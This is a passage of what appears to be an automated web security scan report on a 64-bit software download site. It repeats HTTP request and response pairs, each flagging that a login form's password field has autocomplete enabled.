HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2246%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81531
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-communications-web-video-cams-downloads-3-47-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2247%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81928
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-desktop-downloads-4-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:09 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%224%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-development-downloads-5-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%225%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-education-downloads-6-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:27 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%226%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 74554
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-games-entertainment-downloads-7-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:38:11 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%227%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-graphic-apps-downloads-8-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:18 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:38:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%228%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81027
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-home-hobby-downloads-9-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:39:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%229%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-multimedia-design-downloads-258-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:36 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A3%3A%22258%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29669
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-network-internet-downloads-10-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:39:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2210%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79744
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-security-privacy-downloads-11-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:30:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:40:16 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2211%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86135
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-servers-downloads-12-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:30:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:40:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2212%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79861
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-system-utilities-downloads-13-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:31:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:41:19 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2213%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 83609
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-web-development-downloads-14-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:07 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2214%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89951
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /categories/free-64-bit-widgets-downloads-304-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A3%3A%22304%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 73700
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /contact.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23053
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /download/t-64-bit-ozum-download-lhtivuds.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:47 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 24883
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-communitymate-download-qeakzpwv.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:53 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55652
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-cyberlink-youcam-download-gspvirzx.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56719
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-e107-chat-plugin-for-123-flash-chat-download-kkkispxz.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59907
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-easytether-x64-download-byhsbuvf.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53837
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-messenger-plus-live-download-upxgwatv.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60009
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-news-file-grabber-download-stclytop.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55606
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-newsgroup-commander-pro-download-rjfsmxpp.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55307
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-nokia-ovi-suite-download-bhfheplp.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:55 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55142
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-nokia-pc-suite-download-psjkkdil.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57457
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-oovoo-download-jrletedp.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60411
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
